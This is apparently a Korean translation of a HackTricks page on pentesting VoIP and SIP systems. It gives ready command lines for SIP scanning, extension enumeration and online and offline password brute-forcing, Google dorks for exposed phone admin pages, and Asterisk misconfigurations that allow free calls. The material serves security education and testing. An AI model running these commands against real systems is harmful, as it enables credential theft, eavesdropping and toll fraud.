Pentesting VoIP

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

VoIP κΈ°λ³Έ 정보

VoIP μž‘λ™ 방식에 λŒ€ν•΄ 배우기 μ‹œμž‘ν•˜λ €λ©΄ λ‹€μŒμ„ ν™•μΈν•˜μ„Έμš”:

Basic VoIP Protocols

κΈ°λ³Έ λ©”μ‹œμ§€

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

응닡 μ½”λ“œ

1xxβ€”μž„μ‹œ 응닡

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—성곡적인 응닡

200 OK
202 Accepted
204 No Notification

3xxβ€”λ¦¬λ‹€μ΄λ ‰μ…˜ 응닡

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xxβ€”ν΄λΌμ΄μ–ΈνŠΈ μ‹€νŒ¨ 응닡

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xxβ€”μ„œλ²„ μ‹€νŒ¨ 응닡

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xxβ€”μ „μ—­ μ‹€νŒ¨ 응닡

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telephone Numbers

Red Team이 μˆ˜ν–‰ν•  수 μžˆλŠ” 첫 번째 단계 쀑 ν•˜λ‚˜λŠ” OSINT 도ꡬ, Google 검색 λ˜λŠ” μ›Ή νŽ˜μ΄μ§€ μŠ€ν¬λž˜ν•‘μ„ μ‚¬μš©ν•˜μ—¬ νšŒμ‚¬μ— 연락할 수 μžˆλŠ” μ „ν™”λ²ˆν˜Έλ₯Ό κ²€μƒ‰ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€.

μ „ν™”λ²ˆν˜Έλ₯Ό ν™•λ³΄ν•œ ν›„μ—λŠ” 온라인 μ„œλΉ„μŠ€λ₯Ό μ‚¬μš©ν•˜μ—¬ 운영자λ₯Ό 식별할 수 μžˆμŠ΅λ‹ˆλ‹€:

μš΄μ˜μžκ°€ VoIP μ„œλΉ„μŠ€λ₯Ό μ œκ³΅ν•˜λŠ”μ§€ μ•Œλ©΄ νšŒμ‚¬κ°€ VoIPλ₯Ό μ‚¬μš©ν•˜κ³  μžˆλŠ”μ§€ 식별할 수 μžˆμŠ΅λ‹ˆλ‹€β€¦ κ²Œλ‹€κ°€, νšŒμ‚¬κ°€ VoIP μ„œλΉ„μŠ€λ₯Ό κ³„μ•½ν•˜μ§€ μ•Šμ•˜μ§€λ§Œ PSTN μΉ΄λ“œλ₯Ό μ‚¬μš©ν•˜μ—¬ 자체 VoIP PBXλ₯Ό 전톡적인 μ „ν™” λ„€νŠΈμ›Œν¬μ— μ—°κ²°ν•˜κ³  μžˆμ„ κ°€λŠ₯성도 μžˆμŠ΅λ‹ˆλ‹€.

μŒμ•…μ˜ μžλ™ 응닡과 같은 것듀은 일반적으둜 VoIPκ°€ μ‚¬μš©λ˜κ³  μžˆμŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT 정보

VoIP μ†Œν”„νŠΈμ›¨μ–΄λ₯Ό μ‹λ³„ν•˜λŠ” 데 도움이 λ˜λŠ” λ‹€λ₯Έ OSINT μ—΄κ±°λŠ” Red Team에 μœ μš©ν•  κ²ƒμž…λ‹ˆλ‹€.

λ„€νŠΈμ›Œν¬ μ—΄κ±°

  • **nmap**은 UDP μ„œλΉ„μŠ€λ₯Ό μŠ€μΊ”ν•  수 μžˆμ§€λ§Œ, μŠ€μΊ”λ˜λŠ” UDP μ„œλΉ„μŠ€μ˜ 수 λ•Œλ¬Έμ— 맀우 느리고 μ΄λŸ¬ν•œ μ’…λ₯˜μ˜ μ„œλΉ„μŠ€μ— λŒ€ν•΄ μ •ν™•ν•˜μ§€ μ•Šμ„ 수 μžˆμŠ΅λ‹ˆλ‹€.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap from SIPVicious (sudo apt install sipvicious): μ§€μ •λœ λ„€νŠΈμ›Œν¬μ—μ„œ SIP μ„œλΉ„μŠ€λ₯Ό μ°ΎμŠ΅λ‹ˆλ‹€.
  • svmap은 User-Agent friendly-scannerλ₯Ό μ‚¬μš©ν•˜κΈ° λ•Œλ¬Έμ— μ°¨λ‹¨ν•˜κΈ° μ‰½μŠ΅λ‹ˆλ‹€, ν•˜μ§€λ§Œ /usr/share/sipvicious/sipvicious의 μ½”λ“œλ₯Ό μˆ˜μ •ν•˜κ³  λ³€κ²½ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTS μŠ€μΊ”μ€ UDP, TCP λ˜λŠ” TLSλ₯Ό ν†΅ν•œ SIP μ„œλΉ„μŠ€μ— λŒ€ν•œ 맀우 λΉ λ₯Έ μŠ€μΊλ„ˆμž…λ‹ˆλ‹€. λ©€ν‹°μŠ€λ ˆλ“œλ₯Ό μ‚¬μš©ν•˜λ©° λŒ€κ·œλͺ¨ λ„€νŠΈμ›Œν¬ λ²”μœ„λ₯Ό μŠ€μΊ”ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 포트 λ²”μœ„λ₯Ό μ‰½κ²Œ μ§€μ •ν•˜κ³ , TCP와 UDPλ₯Ό λͺ¨λ‘ μŠ€μΊ”ν•˜λ©°, λ‹€λ₯Έ 방법을 μ‚¬μš©ν•  수 있고(기본적으둜 OPTIONSλ₯Ό μ‚¬μš©), λ‹€λ₯Έ User-Agentλ₯Ό μ§€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€(기타 λ“±λ“±).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

μΆ”κ°€ λ„€νŠΈμ›Œν¬ μ—΄κ±°

PBXλŠ” λ‹€μŒκ³Ό 같은 λ‹€λ₯Έ λ„€νŠΈμ›Œν¬ μ„œλΉ„μŠ€λ₯Ό λ…ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • 69/UDP (TFTP): νŽŒμ›¨μ–΄ μ—…λ°μ΄νŠΈ
  • 80 (HTTP) / 443 (HTTPS): μ›Ήμ—μ„œ μž₯치λ₯Ό κ΄€λ¦¬ν•˜κΈ° μœ„ν•΄
  • 389 (LDAP): μ‚¬μš©μž 정보λ₯Ό μ €μž₯ν•˜λŠ” λŒ€μ•ˆ
  • 3306 (MySQL): MySQL λ°μ΄ν„°λ² μ΄μŠ€
  • 5038 (Manager): λ‹€λ₯Έ ν”Œλž«νΌμ—μ„œ Asteriskλ₯Ό μ‚¬μš©ν•  수 있게 함
  • 5222 (XMPP): Jabberλ₯Ό μ‚¬μš©ν•œ λ©”μ‹œμ§€
  • 기타…

방법 μ—΄κ±°

SIPPTS enumerateλ₯Ό μ‚¬μš©ν•˜μ—¬ PBXμ—μ„œ μ‚¬μš© κ°€λŠ₯ν•œ 방법을 μ°ΎλŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€ sippts

sippts enumerate -i 10.10.0.10

μ„œλ²„ 응닡 뢄석

μ„œλ²„κ°€ μš°λ¦¬μ—κ²Œ λ³΄λ‚΄λŠ” 헀더λ₯Ό λΆ„μ„ν•˜λŠ” 것은 μš°λ¦¬κ°€ λ³΄λ‚΄λŠ” λ©”μ‹œμ§€μ™€ ν—€λ”μ˜ μœ ν˜•μ— 따라 맀우 μ€‘μš”ν•©λ‹ˆλ‹€. sippts의 SIPPTS sendλ₯Ό μ‚¬μš©ν•˜λ©΄ λͺ¨λ“  헀더λ₯Ό μ‘°μž‘ν•˜μ—¬ κ°œμΈν™”λœ λ©”μ‹œμ§€λ₯Ό 보낼 수 있으며, 응닡을 뢄석할 수 μžˆμŠ΅λ‹ˆλ‹€.

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

μ„œλ²„κ°€ μ›Ήμ†ŒμΌ“μ„ μ‚¬μš©ν•˜λŠ” 경우 데이터 μˆ˜μ§‘λ„ κ°€λŠ₯ν•©λ‹ˆλ‹€. sippts의 SIPPTS wssendλ₯Ό μ‚¬μš©ν•˜μ—¬ κ°œμΈν™”λœ WS λ©”μ‹œμ§€λ₯Ό 보낼 수 μžˆμŠ΅λ‹ˆλ‹€.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

PBX(사섀 κ΅ν™˜κΈ°) μ‹œμŠ€ν…œμ—μ„œ ν™•μž₯은 μ‘°μ§μ΄λ‚˜ λΉ„μ¦ˆλ‹ˆμŠ€ λ‚΄μ˜ κ°œλ³„ μ „ν™”μ„ , μž₯치 λ˜λŠ” μ‚¬μš©μžμ—κ²Œ ν• λ‹Ήλœ κ³ μœ ν•œ λ‚΄λΆ€ μ‹λ³„μžλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. ν™•μž₯은 쑰직 λ‚΄μ—μ„œ μ „ν™”λ₯Ό 효율적으둜 λΌμš°νŒ…ν•  수 있게 ν•΄μ£Όλ©°, 각 μ‚¬μš©μžλ‚˜ μž₯μΉ˜μ— λŒ€ν•œ κ°œλ³„ μ™ΈλΆ€ μ „ν™”λ²ˆν˜Έκ°€ ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

  • svwar from SIPVicious (sudo apt install sipvicious): svwarλŠ” 무료 SIP PBX ν™•μž₯μ„  μŠ€μΊλ„ˆμž…λ‹ˆλ‹€. κ°œλ…μ μœΌλ‘œ 전톡적인 μ›Œλ“œλ‹€μ΄μ–ΌλŸ¬μ™€ μœ μ‚¬ν•˜κ²Œ ν™•μž₯ λ²”μœ„ λ˜λŠ” μ£Όμ–΄μ§„ ν™•μž₯ λͺ©λ‘μ„ μΆ”μΈ‘ν•˜μ—¬ μž‘λ™ν•©λ‹ˆλ‹€.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS exten은 SIP μ„œλ²„μ—μ„œ ν™•μž₯을 μ‹λ³„ν•©λ‹ˆλ‹€. Sipexten은 λŒ€κ·œλͺ¨ λ„€νŠΈμ›Œν¬ 및 포트 λ²”μœ„λ₯Ό 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: metasploit을 μ‚¬μš©ν•˜μ—¬ ν™•μž₯/μ‚¬μš©μž 이름을 μ—΄κ±°ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAXλŠ” Inter Asterisk Exchange ν”„λ‘œν† μ½œ μ‚¬μš©μž 이름 무차별 λŒ€μž… μ—΄κ±°κΈ°μž…λ‹ˆλ‹€. enumIAXλŠ” 두 κ°€μ§€ λͺ¨λ“œμ—μ„œ μž‘λ™ν•  수 μžˆμŠ΅λ‹ˆλ‹€; 순차적 μ‚¬μš©μž 이름 μΆ”μΈ‘ λ˜λŠ” 사전 곡격.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP 곡격

λΉ„λ°€λ²ˆν˜Έ 무차별 λŒ€μž… - 온라인

PBX와 일뢀 ν™•μž₯/μ‚¬μš©μž 이름을 λ°œκ²¬ν•œ ν›„, Red Team은 일반 λΉ„λ°€λ²ˆν˜Έ 사전을 μ‚¬μš©ν•˜μ—¬ 인증을 무차별 λŒ€μž…ν•˜κΈ° μœ„ν•΄ REGISTER 방법을 톡해 ν™•μž₯에 인증을 μ‹œλ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Caution

μ‚¬μš©μž 이름이 ν™•μž₯κ³Ό 동일할 수 μžˆμ§€λ§Œ, 이 관행은 PBX μ‹œμŠ€ν…œ, ꡬ성 및 쑰직의 μ„ ν˜Έλ„μ— 따라 λ‹€λ₯Ό 수 μžˆμŠ΅λ‹ˆλ‹€β€¦

μ‚¬μš©μž 이름이 ν™•μž₯κ³Ό λ™μΌν•˜μ§€ μ•Šμ€ 경우, 무차별 λŒ€μž…μ„ μœ„ν•΄ μ‚¬μš©μž 이름을 μ•Œμ•„λ‚΄μ•Ό ν•©λ‹ˆλ‹€.

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrack은 PBXμ—μ„œ νŠΉμ • μ‚¬μš©μž 이름/ν™•μž₯에 λŒ€ν•œ λΉ„λ°€λ²ˆν˜Έλ₯Ό ν¬λž™ν•  수 있게 ν•΄μ€λ‹ˆλ‹€.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrack은 SIP μ„œλΉ„μŠ€μš© 원격 λΉ„λ°€λ²ˆν˜Έ ν¬λž˜μ»€μž…λ‹ˆλ‹€. Rcrack은 μ—¬λŸ¬ μ‚¬μš©μžμ— λŒ€ν•΄ λ‹€μ–‘ν•œ IP 및 포트 λ²”μœ„μ—μ„œ λΉ„λ°€λ²ˆν˜Έλ₯Ό ν…ŒμŠ€νŠΈν•  수 μžˆμŠ΅λ‹ˆλ‹€.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Open Wifi λ„€νŠΈμ›Œν¬ λ‚΄μ—μ„œ VoIP μž₯λΉ„λ₯Ό λ°œκ²¬ν•˜λ©΄ λͺ¨λ“  정보λ₯Ό μŠ€λ‹ˆν•‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ, 더 νμ‡„λœ λ„€νŠΈμ›Œν¬(이더넷 λ˜λŠ” 보호된 Wifi에 μ—°κ²°λœ 경우) λ‚΄μ—μ„œλŠ” PBX와 κ²Œμ΄νŠΈμ›¨μ΄ 간에 MitM 곡격을 μˆ˜ν–‰ν•˜μ—¬ 정보λ₯Ό μŠ€λ‹ˆν•‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λ„€νŠΈμ›Œν¬ 정보 μ€‘μ—λŠ” μž₯λΉ„λ₯Ό κ΄€λ¦¬ν•˜κΈ° μœ„ν•œ μ›Ή 자격 증λͺ…, μ‚¬μš©μž λ‚΄μ„ , μ‚¬μš©μž 이름, IP μ£Όμ†Œ, 심지어 ν•΄μ‹œλœ λΉ„λ°€λ²ˆν˜Έμ™€ RTP νŒ¨ν‚·μ΄ ν¬ν•¨λ˜μ–΄ μžˆμ–΄ λŒ€ν™”λ₯Ό 듀을 수 μžˆμŠ΅λ‹ˆλ‹€.

이 정보λ₯Ό μ–»κΈ° μœ„ν•΄ Wireshark, tcpdump와 같은 도ꡬλ₯Ό μ‚¬μš©ν•  수 μžˆμ§€λ§Œ, VoIP λŒ€ν™”λ₯Ό μŠ€λ‹ˆν•‘ν•˜κΈ° μœ„ν•΄ νŠΉλ³„νžˆ μ œμž‘λœ λ„κ΅¬λŠ” ucsniffμž…λ‹ˆλ‹€.

Caution

SIP 톡신에 TLSκ°€ μ‚¬μš©λ˜λŠ” 경우 SIP 톡신을 λͺ…ν™•ν•˜κ²Œ λ³Ό 수 μ—†μŠ΅λ‹ˆλ‹€.
SRTP 및 ZRTPκ°€ μ‚¬μš©λ˜λŠ” κ²½μš°μ—λ„ RTP νŒ¨ν‚·μ€ ν‰λ¬ΈμœΌλ‘œ μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

SIP 자격 증λͺ… (λΉ„λ°€λ²ˆν˜Έ 브루트포슀 - μ˜€ν”„λΌμΈ)

SIP REGISTER 톡신을 더 잘 μ΄ν•΄ν•˜κΈ° μœ„ν•œ 이 예제λ₯Ό ν™•μΈν•˜μ„Έμš” 자격 증λͺ…이 μ–΄λ–»κ²Œ μ „μ†‘λ˜λŠ”μ§€ λ°°μš°μ„Έμš”.

  • sipdump & sipcrack, sipcrack의 일뢀(apt-get install sipcrack): 이 도ꡬ듀은 SIP ν”„λ‘œν† μ½œ λ‚΄μ—μ„œ λ‹€μ΄μ œμŠ€νŠΈ 인증을 μΆ”μΆœν•˜κ³  λΈŒλ£¨νŠΈν¬μŠ€ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dumpλŠ” pcap νŒŒμΌμ—μ„œ λ‹€μ΄μ œμŠ€νŠΈ 인증을 μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€.
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrack은 SIPPTS λ€ν”„μ—μ„œ 얻은 λ‹€μ΄μ œμŠ€νŠΈ 인증을 ν¬λž™ν•˜λŠ” λ„κ΅¬μž…λ‹ˆλ‹€.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tsharkλŠ” PCAP νŒŒμΌμ—μ„œ SIP ν”„λ‘œν† μ½œμ˜ 데이터λ₯Ό μΆ”μΆœν•©λ‹ˆλ‹€.
sippts tshark -f capture.pcap [-filter auth]

DTMF μ½”λ“œ

SIP 자격 증λͺ…λΏλ§Œ μ•„λ‹ˆλΌ λ„€νŠΈμ›Œν¬ νŠΈλž˜ν”½μ—μ„œ μŒμ„± 메일에 μ ‘κ·Όν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” DTMF μ½”λ“œλ₯Ό μ°ΎλŠ” 것도 κ°€λŠ₯ν•©λ‹ˆλ‹€.
μ΄λŸ¬ν•œ μ½”λ“œλŠ” INFO SIP λ©”μ‹œμ§€, μ˜€λ””μ˜€ λ˜λŠ” RTP νŒ¨ν‚· λ‚΄μ—μ„œ 전솑할 수 μžˆμŠ΅λ‹ˆλ‹€. RTP νŒ¨ν‚· 내에 μ½”λ“œκ°€ μžˆλŠ” 경우, λŒ€ν™”μ˜ ν•΄λ‹Ή 뢀뢄을 μž˜λΌλ‚΄κ³  multimo 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€:

multimon -a DTMF -t wac pin.wav

무료 톡화 / Asterisk μ—°κ²° 잘λͺ» ꡬ성

Asteriskμ—μ„œλŠ” νŠΉμ • IP μ£Όμ†Œμ—μ„œμ˜ 연결을 ν—ˆμš©ν•˜κ±°λ‚˜ λͺ¨λ“  IP μ£Όμ†Œμ—μ„œμ˜ 연결을 ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

host=10.10.10.10
host=dynamic

IP μ£Όμ†Œκ°€ μ§€μ •λ˜λ©΄ ν˜ΈμŠ€νŠΈλŠ” REGISTER μš”μ²­μ„ 가끔씩 보낼 ν•„μš”κ°€ μ—†μŠ΅λ‹ˆλ‹€(REGISTER νŒ¨ν‚·μ—λŠ” 일반적으둜 30λΆ„μ˜ TTL이 ν¬ν•¨λ˜μ–΄ μžˆμ–΄, λ‹€λ₯Έ μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” μ „ν™”κ°€ 30λΆ„λ§ˆλ‹€ REGISTERλ₯Ό ν•΄μ•Ό 함을 μ˜λ―Έν•©λ‹ˆλ‹€). κ·ΈλŸ¬λ‚˜ VoIP μ„œλ²„μ—μ„œ μ „ν™”λ₯Ό 받을 수 μžˆλ„λ‘ 연결을 ν—ˆμš©ν•˜λŠ” μ—΄λ¦° ν¬νŠΈκ°€ ν•„μš”ν•©λ‹ˆλ‹€.

μ‚¬μš©μžλ₯Ό μ •μ˜ν•˜λ €λ©΄ λ‹€μŒκ³Ό 같이 μ •μ˜ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • type=user: μ‚¬μš©μžλŠ” μ „ν™”λ§Œ 받을 수 μžˆμŠ΅λ‹ˆλ‹€.
  • type=friend: ν”Όμ–΄λ‘œ μ „ν™”λ₯Ό κ±Έκ³  μ‚¬μš©μžλ‘œμ„œ 받을 수 μžˆμŠ΅λ‹ˆλ‹€(ν™•μž₯κ³Ό ν•¨κ»˜ μ‚¬μš©λ¨).
  • type=peer: ν”Όμ–΄λ‘œ μ „ν™”λ₯Ό 보내고 받을 수 μžˆμŠ΅λ‹ˆλ‹€(SIP 트렁크).

μ‹ λ’°λ₯Ό μ„€μ •ν•˜λŠ” 것도 κ°€λŠ₯ν•©λ‹ˆλ‹€:

  • insecure=port: IP둜 κ²€μ¦λœ ν”Όμ–΄ 연결을 ν—ˆμš©ν•©λ‹ˆλ‹€.
  • insecure=invite: INVITE λ©”μ‹œμ§€μ— λŒ€ν•œ 인증을 μš”κ΅¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
  • insecure=port,invite: λ‘˜ λ‹€.

Warning

**type=friend**κ°€ μ‚¬μš©λ  λ•Œ, host λ³€μˆ˜μ˜ 값은 μ‚¬μš©λ˜μ§€ μ•ŠμœΌλ―€λ‘œ, κ΄€λ¦¬μžκ°€ ν•΄λ‹Ή 값을 μ‚¬μš©ν•˜μ—¬ SIP 트렁크λ₯Ό 잘λͺ» κ΅¬μ„±ν•˜λ©΄, λˆ„κ΅¬λ‚˜ μ—°κ²°ν•  수 있게 λ©λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, 이 ꡬ성은 μ·¨μ•½ν•©λ‹ˆλ‹€:
host=10.10.10.10
insecure=port,invite
type=friend

무료 톡화 / Asterisk μ»¨ν…μŠ€νŠΈ 잘λͺ» ꡬ성

Asteriskμ—μ„œ μ»¨ν…μŠ€νŠΈλŠ” 닀이얼 ν”Œλžœμ—μ„œ κ΄€λ ¨λœ ν™•μž₯, μž‘μ—… 및 κ·œμΉ™μ„ κ·Έλ£Ήν™”ν•˜λŠ” 이름이 μžˆλŠ” μ»¨ν…Œμ΄λ„ˆ λ˜λŠ” μ„Ήμ…˜μž…λ‹ˆλ‹€. 닀이얼 ν”Œλžœμ€ Asterisk μ‹œμŠ€ν…œμ˜ 핡심 ꡬ성 μš”μ†Œλ‘œ, μˆ˜μ‹  및 λ°œμ‹  μ „ν™”λ₯Ό μ²˜λ¦¬ν•˜κ³  λΌμš°νŒ…ν•˜λŠ” 방법을 μ •μ˜ν•©λ‹ˆλ‹€. μ»¨ν…μŠ€νŠΈλŠ” 닀이얼 ν”Œλžœμ„ κ΅¬μ„±ν•˜κ³ , μ ‘κ·Ό μ œμ–΄λ₯Ό κ΄€λ¦¬ν•˜λ©°, μ‹œμŠ€ν…œμ˜ μ„œλ‘œ λ‹€λ₯Έ λΆ€λΆ„ κ°„μ˜ 뢄리λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€.

각 μ»¨ν…μŠ€νŠΈλŠ” ꡬ성 파일, 일반적으둜 extensions.conf νŒŒμΌμ— μ •μ˜λ©λ‹ˆλ‹€. μ»¨ν…μŠ€νŠΈλŠ” λŒ€κ΄„ν˜Έλ‘œ ν‘œμ‹œλ˜λ©°, κ·Έ μ•ˆμ— μ»¨ν…μŠ€νŠΈ 이름이 ν¬ν•¨λ©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄:

csharpCopy code[my_context]

λ‚΄λΆ€ μ»¨ν…μŠ€νŠΈμ—μ„œλŠ” ν™•μž₯(λ‹€μ΄μ–Όλœ 번호의 νŒ¨ν„΄)을 μ •μ˜ν•˜κ³  이λ₯Ό 일련의 μž‘μ—… λ˜λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜κ³Ό μ—°κ²°ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ μž‘μ—…μ€ 톡화가 μ²˜λ¦¬λ˜λŠ” 방식을 κ²°μ •ν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

이 μ˜ˆμ œλŠ” β€œmy_contextβ€œλΌλŠ” κ°„λ‹¨ν•œ μ»¨ν…μŠ€νŠΈμ™€ β€œ100β€œμ΄λΌλŠ” ν™•μž₯을 λ³΄μ—¬μ€λ‹ˆλ‹€. λˆ„κ΅°κ°€ 100으둜 μ „ν™”λ₯Ό κ±Έλ©΄, 톡화가 μ—°κ²°λ˜κ³  ν™˜μ˜ λ©”μ‹œμ§€κ°€ μž¬μƒλœ ν›„ 톡화가 μ’…λ£Œλ©λ‹ˆλ‹€.

이것은 λ‹€λ₯Έ μ»¨ν…μŠ€νŠΈλ‘œ, λ‹€λ₯Έ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

κ΄€λ¦¬μžκ°€ κΈ°λ³Έ μ»¨ν…μŠ€νŠΈλ₯Ό λ‹€μŒκ³Ό 같이 μ •μ˜ν•˜λ©΄:

[default]
include => my_context
include => external

Warning

λˆ„κ΅¬λ‚˜ μ„œλ²„λ₯Ό μ‚¬μš©ν•˜μ—¬ λ‹€λ₯Έ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€ (μ„œλ²„μ˜ κ΄€λ¦¬μžκ°€ μ „ν™”λ₯Ό λΉ„μš©μ„ μ§€λΆˆν•˜κ²Œ λ©λ‹ˆλ‹€).

Caution

κ²Œλ‹€κ°€ 기본적으둜 sip.conf νŒŒμΌμ—λŠ” **allowguest=true**κ°€ ν¬ν•¨λ˜μ–΄ μžˆμ–΄, 인증 없이 λͺ¨λ“  κ³΅κ²©μžκ°€ λ‹€λ₯Έ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€.

